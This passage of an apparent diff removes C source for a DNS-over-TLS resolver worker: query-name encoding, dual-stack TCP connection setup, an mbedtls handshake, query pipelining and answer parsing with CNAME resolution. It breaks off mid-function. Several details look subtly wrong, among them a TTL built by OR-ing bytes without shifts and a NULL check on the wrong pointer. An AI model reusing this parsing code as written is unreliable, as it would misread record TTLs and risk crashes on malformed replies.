evt_pfd_slot; - prne_wkr_pollfd_slot_pt sck_pfd_slot[2]; - int act_dns_fd; - resolv_dnssrv_pool_t dnssrv_4, dnssrv_6; - resolv_ctx_state_t ctx_state; - resolv_wkr_state_t wkr_state; - uint8_t write_buf[514]; - uint8_t read_buf[514]; - prne_llist_t qlist; - prne_imap_t qid_map; // uint16_t:q_ent(could be null) - struct { - mbedtls_ssl_config conf; - mbedtls_ssl_context ctx; - mbedtls_ctr_drbg_context *ctr_drbg; - } ssl; -}; - -#define DECL_CTX_PTR(p) prne_resolv_wkr_ctx_t ctx = (prne_resolv_wkr_ctx_t)p - -static const struct timespec RESOLV_RSRC_ERR_PAUSE = { 1, 0 }; // 1s -static const struct timespec RESOLV_CONN_ERR_PAUSE = { 0, 100000000 }; // 100ms -static const struct timespec RESOLV_QUERY_TIMEOUT = { 15, 0 }; // 15s -static const struct timespec RESOLV_SCK_OP_TIMEOUT = { 10, 0 }; // 10s -static const struct timespec RESOLV_SCK_IDLE_TIMEOUT = { 15, 0 }; // 15s -static const struct timespec RESOLV_SCK_CLOSE_TIMEOUT = { 1, 0 }; // 1s -static const size_t RESOLV_PIPELINE_SIZE = 4; - -static bool resolv_wkr_has_finalised (void *p) { - DECL_CTX_PTR(p); - return ctx->wkr_state == RESOLV_WKR_STATE_FINALISED; -} - -static int resolv_set_cmn_fd_opt (const int fd) { - return fcntl(fd, F_SETFL, O_NONBLOCK) == 0 ? fcntl(fd, F_SETFD, FD_CLOEXEC) : -1; -} - -static void resolv_free_q_ent (query_entry_t *q_ent) { - if (q_ent == NULL) { - return; - } - - prne_free(q_ent->qname); - prne_free_resolv_fut(&q_ent->fut); - prne_close(q_ent->evtfd[0]); - prne_close(q_ent->evtfd[1]); - prne_free_wkr_timeout_slot(q_ent->to_slot); - - prne_free(q_ent); -} - -static bool resolv_gen_qname (const char *name, char **out, size_t *out_size) { - size_t len = prne_nstrlen(name); - char *ptr = (char*)name, *delim; - char *end = ptr + len; - size_t label_size; - char *ret_ptr; - size_t ret_size; - - if (len == 0) { - errno = EINVAL; - return false; - } - if (name[len - 1] != '.') { - len += 1; - } - if (len > 255) { - errno = EINVAL; - return false; - } - for (; *name != 0; name += 1) { - if (((uint_fast8_t)*name & 0xC0) == 0xC0) { - errno = EINVAL; - return false; - } - } - - ret_ptr = prne_alloc_str(len); - if (ret_ptr == NULL) { - return false; - } - - ret_size = 0; - while (ptr < end) { - delim = strchr(ptr, '.'); - if (delim == NULL) { - delim = strchr(ptr, 0); - } - - label_size = delim - ptr; - if (label_size == 0 || label_size > 63) { - errno = EINVAL; - goto ERR; - } - - ret_ptr[ret_size] = (uint8_t)label_size; - memcpy(ret_ptr + ret_size + 1, ptr, label_size); - ret_size += 1 + label_size; - ptr = delim + 1; - } - ret_ptr[ret_size] = 0; - ret_size += 1; - - *out = prne_realloc(ret_ptr, 1, ret_size); - if (*out == NULL) { - *out = ret_ptr; - } - *out_size = ret_size; - - return true; -ERR: - prne_free(ret_ptr); - return false; -} - -char *resolv_qname_tostr (const char *qname) { - char *ret, *p, *end; - const size_t qname_size = strlen(qname) + 1; - size_t label_len; - - ret = p = (char*)prne_malloc(1, qname_size); - if (p == NULL) { - return NULL; - } - memcpy(p, qname, qname_size); - end = p + qname_size; - - while (p < end) { - label_len = *p; - if (label_len == 0) { - break; - } - else if (p + label_len > end) { - goto ERR; - } - - memmove(p, p + 1, label_len); - p[label_len] = '.'; - p += label_len + 1; - } - - return ret; -ERR: - prne_free(ret); - return NULL; -} - -static bool resolv_qq (prne_resolv_wkr_ctx_t wkr, const char *name, prne_resolv_prm_t *out, const struct timespec *timeout, query_entry_t **ny_q_ent) { - query_entry_t *q_ent = NULL; - - if (resolv_wkr_has_finalised(wkr)) { - errno = ECANCELED; - return false; - } - - q_ent = (query_entry_t*)prne_malloc(sizeof(query_entry_t), 1); - if (q_ent == NULL) { - goto ERR; - } - q_ent->wkr = wkr; - q_ent->qlist_ent = NULL; - q_ent->qname = NULL; - q_ent->qname_size = 0; - q_ent->evtfd[0] = q_ent->evtfd[1] = -1; - q_ent->to_slot = NULL; - q_ent->qid = 0; - q_ent->ipv = PRNE_IPV_NONE; - prne_init_resolv_fut(&q_ent->fut); - - if (!resolv_gen_qname(name, &q_ent->qname, &q_ent->qname_size)) { - goto ERR; - } - - q_ent->qlist_ent = prne_llist_append(&wkr->qlist, q_ent); - if (q_ent->qlist_ent == NULL) { - goto ERR; - } - - OK_OR_ERR(pipe(q_ent->evtfd)); - prne_set_pipe_size(q_ent->evtfd[0], 1); - OK_OR_ERR(resolv_set_cmn_fd_opt(q_ent->evtfd[0])); - OK_OR_ERR(resolv_set_cmn_fd_opt(q_ent->evtfd[1])); - - if (write(wkr->evtfd[1], &q_ent, 1) < 0) { - prne_die_not_nonblock_err(); - } - - q_ent->to_slot = prne_alloc_wkr_timeout_slot(wkr->wsr); - if (q_ent == NULL) { - goto ERR; - } - q_ent->to_slot->active = true; - q_ent->to_slot->dur = RESOLV_QUERY_TIMEOUT; - - out->ctx = q_ent; - out->fut = &q_ent->fut; - out->evtfd = q_ent->evtfd[0]; - *ny_q_ent = q_ent; - - return true; -ERR: - if (q_ent != NULL) { - prne_llist_erase(&wkr->qlist, q_ent->qlist_ent); - prne_free(q_ent->qname); - prne_close(q_ent->evtfd[0]); - prne_close(q_ent->evtfd[1]); - - prne_free(q_ent); - } - - return false; -} - -static void resolv_disown_qent (query_entry_t *qent) { - uint8_t rubbish = 0; - - prne_free_wkr_timeout_slot(qent->to_slot); - qent->to_slot = NULL; - qent->wkr = NULL; - qent->qlist_ent = NULL; - qent->qid = 0; - - if (write(qent->evtfd[1], &rubbish, 1) < 0) { - prne_die_not_nonblock_err(); - } -} - -#if 0 -static void resolv_disown_all_qent (prne_resolv_wkr_ctx_t ctx) { - query_entry_t *qent; - prne_llist_entry_t *cur; - size_t i; - - cur = ctx->qlist.head; - while (cur != NULL) { - qent = (query_entry_t*)cur->element; - qent->fut.qr = PRNE_RESOLV_QR_FIN; - resolv_disown_qent(qent); - cur = cur->next; - } - - for (i = 0; i < ctx->qid_map.size; i += 1) { - qent = (query_entry_t*)ctx->qid_map.tbl[i].val; - qent->fut.qr = PRNE_RESOLV_QR_FIN; - resolv_disown_qent(qent); - } - - prne_llist_clear(&ctx->qlist); - prne_imap_clear(&ctx->qid_map); -} -#endif - -static size_t resolv_next_pool_ptr (prne_resolv_wkr_ctx_t ctx, const size_t cnt) { - size_t ret = 0; - - if (mbedtls_ctr_drbg_random(ctx->ssl.ctr_drbg, (unsigned char*)&ret, sizeof(size_t)) != 0) { - abort(); - } - return ret % cnt; -} - -static uint16_t resolv_next_qid (prne_resolv_wkr_ctx_t ctx) { - uint16_t i, ret; - - for (i = 0; i < UINT16_MAX; i += 1) { - if (mbedtls_ctr_drbg_random(ctx->ssl.ctr_drbg, (unsigned char*)&ret, sizeof(uint16_t)) != 0) { - abort(); - } - ret = (ret % UINT16_MAX) + 1; - if (prne_imap_lookup(&ctx->qid_map, ret) == NULL) { - return ret; - } - } - - return 0; -} - -static void resolv_close_sck (prne_resolv_wkr_ctx_t ctx, const struct timespec *pause, bool change_srvr) { - size_t i; - query_entry_t *qent; - prne_llist_entry_t *lent; - - // ctx->qid_map -> ctx->qlist - for (i = 0; i < ctx->qid_map.size; i += 1) { - qent = (query_entry_t*)ctx->qid_map.tbl[i].val; - if (qent == NULL) { - continue; - } - - lent = prne_llist_append(&ctx->qlist, qent); - if (lent == NULL) { - qent->fut.qr = PRNE_RESOLV_QR_ERR; - qent->fut.err = errno; - resolv_disown_qent(qent); - } - else { - qent->qid = 0; - qent->qlist_ent = lent; - } - } - prne_imap_clear(&ctx->qid_map); - - prne_shutdown(ctx->dnss_fd[0], SHUT_RDWR); - prne_shutdown(ctx->dnss_fd[1], SHUT_RDWR); - prne_shutdown(ctx->act_dns_fd, SHUT_RDWR); - prne_close(ctx->dnss_fd[0]); - prne_close(ctx->dnss_fd[1]); - prne_close(ctx->act_dns_fd); - ctx->dnss_fd[0] = ctx->dnss_fd[1] = ctx->act_dns_fd = -1; - ctx->read_cnt_len = 0; - ctx->write_cnt_len = 0; - ctx->sckop_to_slot->active = false; - ctx->sck_pfd_slot[0]->pfd.fd = ctx->sck_pfd_slot[1]->pfd.fd = -1; - ctx->ctx_state = RESOLV_CTX_STATE_NONE; - mbedtls_ssl_free(&ctx->ssl.ctx); - mbedtls_ssl_init(&ctx->ssl.ctx); - - if (pause != NULL) { - ctx->err_to_slot->active = true; - ctx->err_to_slot->dur = *pause; - } - if (change_srvr) { - ctx->dnssrv_4.ptr = resolv_next_pool_ptr(ctx, ctx->dnssrv_4.cnt); - ctx->dnssrv_6.ptr = resolv_next_pool_ptr(ctx, ctx->dnssrv_6.cnt); - } -} - -static bool resolv_ensure_conn (prne_resolv_wkr_ctx_t ctx) { - size_t i; - - switch (ctx->ctx_state) { - case RESOLV_CTX_STATE_NONE: { - int optval = 1; - - ctx->dnss_fd[0] = socket(AF_INET6, SOCK_STREAM, 0); - ctx->dnss_fd[1] = socket(AF_INET, SOCK_STREAM, 0); - if (ctx->dnss_fd[0] >= 0) { - setsockopt(ctx->dnss_fd[0], SOL_TCP, TCP_NODELAY, &optval, sizeof(int)); - if (resolv_set_cmn_fd_opt(ctx->dnss_fd[0]) < 0) { - prne_close(ctx->dnss_fd[0]); - ctx->dnss_fd[0] = -1; - } - else { - struct sockaddr_in6 addr; - - memzero(&addr, sizeof(addr)); - prne_net_ep_tosin6(ctx->dnssrv_6.arr + ctx->dnssrv_6.ptr, &addr); - connect(ctx->dnss_fd[0], (const struct sockaddr*)&addr, sizeof(addr)); - } - } - if (ctx->dnss_fd[1] >= 0) { - setsockopt(ctx->dnss_fd[1], SOL_TCP, TCP_NODELAY, &optval, sizeof(int)); - if (resolv_set_cmn_fd_opt(ctx->dnss_fd[1]) < 0) { - prne_close(ctx->dnss_fd[1]); - ctx->dnss_fd[1] = -1; - } - else { - struct sockaddr_in addr; - - memzero(&addr, sizeof(addr)); - prne_net_ep_tosin4(ctx->dnssrv_4.arr + ctx->dnssrv_4.ptr, &addr); - connect(ctx->dnss_fd[1], (const struct sockaddr*)&addr, sizeof(addr)); - } - } - - if (ctx->dnss_fd[0] < 0 && ctx->dnss_fd[1] < 0) { - ctx->err_to_slot->active = true; - ctx->err_to_slot->dur = RESOLV_RSRC_ERR_PAUSE; - ctx->sckop_to_slot->active = false; - } - else { - ctx->sckop_to_slot->active = true; - ctx->sckop_to_slot->dur = RESOLV_SCK_OP_TIMEOUT; - for (i = 0; i < 2; i += 1) { - ctx->sck_pfd_slot[i]->pfd.fd = ctx->dnss_fd[i]; - ctx->sck_pfd_slot[i]->pfd.events = POLLIN | POLLOUT; - } - - ctx->ctx_state = RESOLV_CTX_STATE_CONN; - } - - return false; - } - case RESOLV_CTX_STATE_CONN: { - int optval; - socklen_t optval_len; - - for (i = 0; i < 2; i += 1) { - assert(ctx->sck_pfd_slot[i]->pfd.fd == ctx->dnss_fd[i]); - if (ctx->sck_pfd_slot[i]->pfd.revents & (POLLHUP | POLLERR | POLLNVAL)) { - prne_close(ctx->dnss_fd[i]); - ctx->dnss_fd[i] = ctx->sck_pfd_slot[i]->pfd.fd = -1; - } - } - if (ctx->dnss_fd[0] < 0 && ctx->dnss_fd[1] < 0) { - ctx->err_to_slot->active = true; - ctx->err_to_slot->dur = RESOLV_CONN_ERR_PAUSE; - ctx->sckop_to_slot->active = false; - ctx->ctx_state = RESOLV_CTX_STATE_NONE; - - return false; - } - - for (i = 0; i < 2; i += 1) { - if (ctx->sck_pfd_slot[i]->pfd.fd < 0) { - continue; - } - - if (ctx->sck_pfd_slot[i]->pfd.revents & (POLLIN | POLLOUT)) { - optval_len = sizeof(optval); - if (getsockopt(ctx->sck_pfd_slot[i]->pfd.fd, SOL_SOCKET, SO_ERROR, &optval, &optval_len) < 0 || optval != 0) { - prne_close(ctx->dnss_fd[i]); - ctx->dnss_fd[i] = ctx->sck_pfd_slot[i]->pfd.fd = -1; - } - else { - ctx->act_dns_fd = ctx->dnss_fd[i]; - ctx->dnss_fd[i] = -1; - break; - } - } - } - - if (ctx->act_dns_fd >= 0) { - for (i = 0; i < 2; i += 1) { - prne_close(ctx->dnss_fd[i]); - ctx->dnss_fd[i] = ctx->sck_pfd_slot[i]->pfd.fd = -1; - } - - if (mbedtls_ssl_setup(&ctx->ssl.ctx, &ctx->ssl.conf) != 0 || mbedtls_ssl_set_hostname(&ctx->ssl.ctx, NULL) != 0) { - resolv_close_sck(ctx, &RESOLV_RSRC_ERR_PAUSE, false); - return false; - } - mbedtls_ssl_set_bio(&ctx->ssl.ctx, &ctx->act_dns_fd, prne_mbedtls_ssl_send_cb, prne_mbedtls_ssl_recv_cb, NULL); - - ctx->sck_pfd_slot[0]->pfd.fd = ctx->act_dns_fd; - ctx->sck_pfd_slot[0]->pfd.events = POLLIN | POLLOUT; - ctx->sckop_to_slot->active = true; - ctx->sckop_to_slot->dur = RESOLV_SCK_OP_TIMEOUT; - ctx->ctx_state = RESOLV_CTX_STATE_HNDSHK; - } - else if (ctx->dnss_fd[0] < 0 && ctx->dnss_fd[1] < 0) { - resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); - } - - return false; - } - case RESOLV_CTX_STATE_HNDSHK: { - assert(ctx->sck_pfd_slot[0]->pfd.fd == ctx->act_dns_fd && ctx->act_dns_fd >= 0); - - if (ctx->sck_pfd_slot[0]->pfd.revents & (POLLERR | POLLNVAL | POLLHUP)) { - resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); - - return false; - } - if (ctx->sck_pfd_slot[0]->pfd.revents & (POLLIN | POLLOUT)) { - switch (mbedtls_ssl_handshake(&ctx->ssl.ctx)) { - case MBEDTLS_ERR_SSL_WANT_READ: - ctx->sck_pfd_slot[0]->pfd.events = POLLIN; - break; - case MBEDTLS_ERR_SSL_WANT_WRITE: - ctx->sck_pfd_slot[0]->pfd.events = POLLOUT; - break; - case 0: - ctx->sck_pfd_slot[0]->pfd.events = POLLIN; - ctx->sckop_to_slot->active = true; - ctx->sckop_to_slot->dur = RESOLV_SCK_IDLE_TIMEOUT; - ctx->ctx_state = RESOLV_CTX_STATE_READY; - - return true; - default: - resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); - - return false; - } - } - - return false; - } - case RESOLV_CTX_STATE_READY: - return true; - } - -#ifdef PRNE_DEBUG - abort(); -#endif - return false; -} - -static const uint8_t* resolv_index_labels (prne_imap_t *map, const uint8_t *start, const uint8_t *end, const uint8_t *p, prne_resolv_qr_t *qr, int *err) { - uint16_t ptr; - const prne_imap_tuple_t *tpl; - - assert(qr != NULL); - assert(err != NULL); - if (p >= end) { - *qr = PRNE_RESOLV_QR_PRO_ERR; - return NULL; - } - - while (*p != 0 && p < end) { - if ((p[0] & 0xC0) == 0xC0) { - // met pointer. don't go further. - ptr = ((uint16_t)p[0] << 8) | (uint16_t)p[1]; - tpl = prne_imap_lookup(map, ptr); - if (tpl == NULL) { - *qr = PRNE_RESOLV_QR_ERR; - *err = errno; - return NULL; - } - return p + 2; - } - else if (*p > 63) { - *qr = PRNE_RESOLV_QR_PRO_ERR; - return NULL; - } - else { - // index the label - ptr = (uint16_t)(p - start) | 0xC000; - if (prne_imap_insert(map, ptr, (void*)p) == NULL) { - *qr = PRNE_RESOLV_QR_ERR; - *err = errno; - return NULL; - } - p += *p + 1; - } - } - - return p + 1; -} - -static int resolv_mapped_qname_cmp (prne_imap_t *map, const uint8_t *a, const uint8_t *b, prne_resolv_qr_t *qr) { - const uint8_t *p[2] = { a, b }; - size_t i; - uint16_t ptr; - const prne_imap_tuple_t *tpl; - int ret; - - - assert(qr != NULL); - - do { - // deref the pointers - for (i = 0; i < 2; i += 1) { - if ((p[i][0] & 0xC0) == 0xC0) { - ptr = ((uint16_t)p[i][0] << 8) | (uint16_t)p[i][1]; - tpl = prne_imap_lookup(map, ptr); - if (tpl == NULL) { - ret = -1; - *qr = PRNE_RESOLV_QR_PRO_ERR; - break; - } - p[i] = (const uint8_t*)tpl->val; - } - } - - if (*p[0] != *p[1]) { - ret = 0; - break; - } - if (*p[0] == 0 || *p[1] == 0) { - ret = 1; - break; - } - - p[0] += 1; - p[1] += 1; - } while (true); - - return ret; -} - -static bool resolv_proc_dns_msg (prne_resolv_wkr_ctx_t ctx, const uint8_t *data, const size_t len, bool *err_flag) { - typedef struct { - const uint8_t *name; - const uint8_t *data; - uint32_t ttl; - uint16_t rtype; - uint16_t rclass; - uint16_t data_len; - } rr_tuple_t; - rr_tuple_t *tpl; - prne_resolv_qr_t qr; - int err = 0, cmp_ret; - uint_fast16_t qid, status, ancount, ttype; - prne_imap_t ptr_map; // val in msg(uint8_t):(uint8_t*)real addr - prne_llist_t rr_list, ret_list; - prne_iset_t alias_set; - prne_llist_entry_t *cur; - query_entry_t *qent; - const uint8_t *qname, *alias, *end = data + len, *p, *rname; - size_t i, j, loop_cnt; - bool ret; - - if (len < 12) { - *err_flag = true; - return false; - } - *err_flag = false; - - qr = PRNE_RESOLV_QR_NONE; - status = 0; - ttype = 0; - prne_init_imap(&ptr_map); - prne_init_llist(&rr_list); - prne_init_llist(&ret_list); - prne_init_iset(&alias_set); - - // ID - { - const prne_imap_tuple_t *tpl; - - qid = ((uint16_t)data[0] << 8) | (uint16_t)data[1]; - tpl = prne_imap_lookup(&ctx->qid_map, qid); - ret = tpl != NULL; - if (ret) { - qent = (query_entry_t*)tpl->val; - if (qent != NULL) { - switch (qent->type) { - case PRNE_RESOLV_QT_A: ttype = 1; break; - case PRNE_RESOLV_QT_AAAA: ttype = 28; break; - case PRNE_RESOLV_QT_TXT: ttype = 16; break; - default: abort(); - } - } - } - else { - qent = NULL; - } - prne_imap_erase(&ctx->qid_map, qid); - } - // QR - if ((data[2] & 0x80) == 0) { - qr = PRNE_RESOLV_QR_PRO_ERR; - *err_flag = true; - goto END; - } - // Opcode - if ((data[2] & 0x78) != 0) { - qr = PRNE_RESOLV_QR_PRO_ERR; - *err_flag = true; - goto END; - } - // AA - don't care - // RCODE - status = data[3] & 0x0F; - if (status != 0) { - qr = PRNE_RESOLV_QR_STATUS; - goto END; - } - // TC - if ((data[2] & 0x02) != 0) { - qr = PRNE_RESOLV_QR_IMPL; - goto END; - } - // QDCOUNT - if ((((uint_fast16_t)data[4] << 8) | (uint_fast16_t)data[5]) != 1) { - qr = PRNE_RESOLV_QR_PRO_ERR; - *err_flag = true; - goto END; - } - // ANCOUNT - ancount = ((uint_fast16_t)data[6] << 8) | (uint_fast16_t)data[7]; - - // decode question - if (len < 12 + 1 + 4) { // min msg with 1 QDCOUNT length - qr = PRNE_RESOLV_QR_PRO_ERR; - *err_flag = true; - goto END; - } - qname = data + 12; - p = resolv_index_labels(&ptr_map, data, end, (const uint8_t*)qname, &qr, &err); - if (p == NULL) { - goto END; - } - if ((size_t)(p - data + 4) > len) { - qr = PRNE_RESOLV_QR_PRO_ERR; - *err_flag = true; - goto END; - } - if (qent != NULL && strcmp((const char*)qname, qent->qname) != 0) { - qr = PRNE_RESOLV_QR_PRO_ERR; - *err_flag = true; - goto END; - } - if ((ttype != 0 && ttype != (((uint_fast16_t)p[0] << 8) | (uint_fast16_t)p[1])) || - (((uint_fast16_t)p[2] << 8) | (uint_fast16_t)p[3]) != 1) { - qr = PRNE_RESOLV_QR_PRO_ERR; - *err_flag = true; - goto END; - } - - p += 4; - // decode answer RRs - for (i = 0; i < ancount; i += 1) { - tpl = prne_malloc(sizeof(rr_tuple_t), 1); - if (tpl == NULL) { - err = errno; - qr = PRNE_RESOLV_QR_ERR; - goto END; - } - if (prne_llist_append(&rr_list, tpl) == NULL) { - prne_free(tpl); - err = errno; - qr = PRNE_RESOLV_QR_ERR; - goto END; - } - - tpl->name = p; - p = resolv_index_labels(&ptr_map, data, end, p, &qr, &err); - if (p == NULL) { - goto END; - } - if (p >= end || end - p < 10) { - qr = PRNE_RESOLV_QR_PRO_ERR; - *err_flag = true; - goto END; - } - tpl->rtype = ((uint_fast16_t)p[0] << 8) | (uint_fast16_t)p[1]; - tpl->rclass = ((uint_fast16_t)p[2] << 8) | (uint_fast16_t)p[3]; - tpl->ttl = ((uint_fast32_t)p[4]) | ((uint_fast32_t)p[5]) | ((uint_fast32_t)p[6]) | ((uint_fast32_t)p[7]); - tpl->data_len = ((uint_fast16_t)p[8] << 8) | (uint_fast16_t)p[9]; - rname = tpl->data = p + 10; - - switch (tpl->rtype) { - case PRNE_RESOLV_RTYPE_SOA: - loop_cnt = 2; - break; - case PRNE_RESOLV_RTYPE_CNAME: - case PRNE_RESOLV_RTYPE_MX: - case PRNE_RESOLV_RTYPE_NS: - case PRNE_RESOLV_RTYPE_PTR: - loop_cnt = 1; - break; - default: - loop_cnt = 0; - } - for (j = 0; j < loop_cnt; j += 1) { - rname = resolv_index_labels(&ptr_map, data, tpl->data + tpl->data_len, rname, &qr, &err); - if (rname == NULL) { - goto END; - } - } - - p += 10 + tpl->data_len; - } - - // resolve cname - alias = qname; - if (!prne_iset_insert(&alias_set, (prne_iset_val_t)alias)) { - qr = PRNE_RESOLV_QR_ERR; - err = errno; - goto END; - } -QNAME_START: - cur = rr_list.head; - while (cur != NULL) { - tpl = (rr_tuple_t*)cur->element; - - if (tpl->rtype == PRNE_RESOLV_RTYPE_CNAME) { - cmp_ret = resolv_mapped_qname_cmp(&ptr_map, tpl->name, alias, &qr); - if (cmp_ret < 0) { - goto END; - } - if (cmp_ret) { - if (prne_iset_lookup(&alias_set, (prne_iset_val_t)tpl->data)) { - qr = PRNE_RESOLV_QR_PRO_ERR; - goto END; - } - if (!prne_iset_insert(&alias_set, (prne_iset_val_t)tpl->data)) { - qr = PRNE_RESOLV_QR_ERR; - err = errno; - goto END; - } - alias = tpl->data; - goto QNAME_START; - } - } - - cur = cur->next; - } - - // index the selected(alias) resources - cur = rr_list.head; - while (cur != NULL) { - tpl = (rr_tuple_t*)cur->element; - - cmp_ret = resolv_mapped_qname_cmp(&ptr_map, tpl->name, alias, &qr); - if (cmp_ret < 0) { - goto END; - } - if (cmp_ret && ttype == tpl->rtype) { - if (prne_llist_append(&ret_list, tpl) == NULL) { - qr = PRNE_RESOLV_QR_ERR; - err = errno; - goto END; - } - } - - cur = cur->next; - } - - // return data - if (ret_list.size > 0 && qent != NULL) { - prne_llist_entry_t *cur; - rr_tuple_t *tpl; - - qent->fut.rr = (prne_resolv_rr_t*)prne_malloc(sizeof(prne_resolv_rr_t), ret_list.size); - if (qent->fut.rr == NULL) { - qr = PRNE_RESOLV_QR_ERR; - err = errno; - goto END; - } - qent->fut.rr_cnt = ret_list.size; - for (i = 0; i < qent->fut.rr_cnt; i += 1) { - prne_init_resolv_rr(qent->fut.rr + i); - } - - i = 0; - cur = ret_list.head; - while (cur != NULL) { - tpl = (rr_tuple_t*)cur->element; - - qent->fut.rr[i].rr_class = tpl->rclass; - qent->fut.rr[i].rr_type = tpl->rtype; - qent->fut.rr[i].rr_ttl = tpl->ttl; - if (tpl->data_len > 0) { - if ((qent->fut.rr[i].name = resolv_qname_tostr(qent->qname)) == NULL || - (qent->fut.rr[i].rd_data = (uint8_t*)prne_malloc(1, tpl->data_len)) == NULL) { - qr = PRNE_RESOLV_QR_ERR; - err = errno; - goto END; - } - qent->fut.rr[i].rd_len = tpl->data_len; - memcpy(qent->fut.rr[i].rd_data, tpl->data, tpl->data_len); - } - else { - qent->fut.rr[i].rd_data = NULL; - qent->fut.rr[i].rd_len = 0; - } - - i += 1; - cur = cur->next; - } - } - - qr = PRNE_RESOLV_QR_OK; - -END: - cur = rr_list.head; - while (cur != NULL) { - prne_free(cur->element); - cur = cur->next; - } - prne_free_llist(&rr_list); - prne_free_llist(&ret_list); - prne_free_imap(&ptr_map); - prne_free_iset(&alias_set); - if (qent != NULL) { - if (qr != PRNE_RESOLV_QR_OK) { - for (i = 0; i < qent->fut.rr_cnt; i += 1) { - prne_free_resolv_rr(qent->fut.rr + i); - } - prne_free(qent->fut.rr); - qent->fut.rr = NULL; - qent->fut.rr_cnt = 0; - } - qent->fut.qr = qr; - qent->fut.err = err; - qent->fut.status = status; - resolv_disown_qent(qent); - } - - return ret; -} - -static size_t resolv_calc_dot_msg_len (query_entry_t *qent) { - return 2/*DoT head*/ + 12/*msg head*/ + qent->qname_size + 4/*QCLASS, QTYPE*/; -} - -static void resolv_write_dns_msg (query_entry_t *qent, uint8_t *mem) { - // ID - mem[0] = (uint8_t)((qent->qid & 0xFF00) >> 8); - mem[1] = (uint8_t)(qent->qid & 0x00FF); - // QR: 0, Opcode: 0, AA:0, TC: 0, RD: 1, RA: 0, Z: 0, RCODE: 0 - mem[2] = 0x01; - mem[3] = 0x00; - // QDCOUNT: 1 - mem[4] = 0x00; - mem[5] = 0x01; - // ANCOUNT, NSCOUNT, ARCOUNT: 0 - mem[6] = mem[7] = mem[8] = mem[9] = mem[10] = mem[11] = 0x00; - - // QNAME - memcpy(mem + 12, qent->qname, qent->qname_size); - // QTYPE - switch (qent->type) { - case PRNE_RESOLV_QT_A: - mem[qent->qname_size + 12] = 0x00; - mem[qent->qname_size + 13] = 0x01; - break; - case PRNE_RESOLV_QT_AAAA: - mem[qent->qname_size + 12] = 0x00; - mem[qent->qname_size + 13] = 0x1C; - break; - case PRNE_RESOLV_QT_TXT: - mem[qent->qname_size + 12] = 0x00; - mem[qent->qname_size + 13] = 0x10; - break; - default: abort(); - } - // QCLASS: IN - mem[qent->qname_size + 14] = 0x00; - mem[qent->qname_size + 15] = 0x01; -} - -static bool resolv_send_dns_msgs (prne_resolv_wkr_ctx_t ctx) { - prne_llist_entry_t *cur; - query_entry_t *qent; - size_t dot_msg_len, dns_msg_len; - uint16_t qid; - bool ret = false; - - cur = ctx->qlist.head; - while (cur != NULL && ctx->qid_map.size < RESOLV_PIPELINE_SIZE) { - qent = (query_entry_t*)cur->element; - - dot_msg_len = resolv_calc_dot_msg_len(qent); - dns_msg_len = dot_msg_len - 2; - if (dot_msg_len + ctx->write_cnt_len <= sizeof(ctx->write_buf)) { - qid = resolv_next_qid(ctx); - if (qid == 0) { - qent->fut.qr = PRNE_RESOLV_QR_ERR; - qent->fut.err = 0; - prne_llist_erase(&ctx->qlist, qent->qlist_ent); - resolv_disown_qent(qent); - - return ret; - } - - if (prne_imap_insert(&ctx->qid_map, qid, qent) == NULL) { - qent->fut.err = errno; - qent->fut.qr = PRNE_RESOLV_QR_ERR; - prne_llist_erase(&ctx->qlist, cur); - resolv_disown_qent(qent); - - return ret; - } - else { - cur = prne_llist_erase(&ctx->qlist, cur); - - ctx->write_buf[ctx->write_cnt_len + 0] = (uint8_t)((dns_msg_len & 0xFF00) >> 8); - ctx->write_buf[ctx->write_cnt_len + 1] = (uint8_t)(dns_msg_len & 0x00FF); - qent->qid = qid; - resolv_write_dns_msg(qent, ctx->write_buf + ctx->write_cnt_len + 2); - - ctx->write_cnt_len += dot_msg_len; - ret |= true; - } - } - else { - break; - } - } - - return ret; -} - -static void resolv_proc_q (prne_resolv_wkr_ctx_t ctx) { - bool proc = false; // true if any meaningful message has been processed. - int ret; - - if (ctx->ctx_state == RESOLV_CTX_STATE_READY) { - assert(ctx->act_dns_fd >= 0); - assert(ctx->act_dns_fd == ctx->sck_pfd_slot[0]->pfd.fd); - - if (ctx->sck_pfd_slot[0]->pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) { - resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); - return; - } - if (ctx->sck_pfd_slot[0]->pfd.revents & POLLIN) { - size_t pos, msg_len; - bool err_flag = false; - - ret = mbedtls_ssl_read(&ctx->ssl.ctx, ctx->read_buf + ctx->read_cnt_len, sizeof(ctx->read_buf) - ctx->read_cnt_len); - if (ret <= 0) { - // we don't renegotiate with terrorists. - resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); - return; - } - ctx->read_cnt_len += (size_t)ret; - - pos = 0; - while (true) { - if (pos + 1 >= ctx->read_cnt_len) { - break; - } - msg_len = ((size_t)ctx->read_buf[pos] << 8) | (size_t)ctx->read_buf[pos + 1]; - if (msg_len > 512) { // unimplemented. -#ifdef PRNE_DEBUG - fprintf(stderr, "* [resolv_wkr] Protocol error: received %zu bytes long msg. Dropping connection!\n", msg_len); -#endif - // try to get qid - if (ctx->read_cnt_len > pos + 4) { - const uint16_t qid = ((uint_fast16_t)ctx->read_buf[pos + 2] << 8) | (uint_fast16_t)ctx->read_buf[pos + 3]; - const prne_imap_tuple_t *tpl = prne_imap_lookup(&ctx->qid_map, qid); - - if (tpl->val != NULL) { - query_entry_t *qent = (query_entry_t*)tpl->val; - qent->fut.qr = PRNE_RESOLV_QR_IMPL; - resolv_disown_qent(qent); - } - prne_imap_erase(&ctx->qid_map, qid); - } - resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); - return; - } - if (pos + 1 + msg_len >= ctx->read_cnt_len) { - break; - } - - proc |= resolv_proc_dns_msg(ctx, ctx->read_buf + pos + 2, msg_len, &err_flag); - if (err_flag) { - resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); - return; - } - pos += 2 + msg_len; - } - if (pos > 0) { - memmove(ctx->read_buf, ctx->read_buf + pos, ctx->read_cnt_len - pos); - ctx->read_cnt_len -= pos; - } - } - } - - if (ctx->qlist.size > 0 || ctx->write_cnt_len > 0) { - if (!resolv_ensure_conn(ctx)) { - return; - } - - if ((ctx->sck_pfd_slot[0]->pfd.revents & POLLOUT) && ctx->write_cnt_len > 0) { - ret = mbedtls_ssl_write(&ctx->ssl.ctx, ctx->write_buf, ctx->write_cnt_len); - if (ret <= 0) { - // we don't renegotiate with 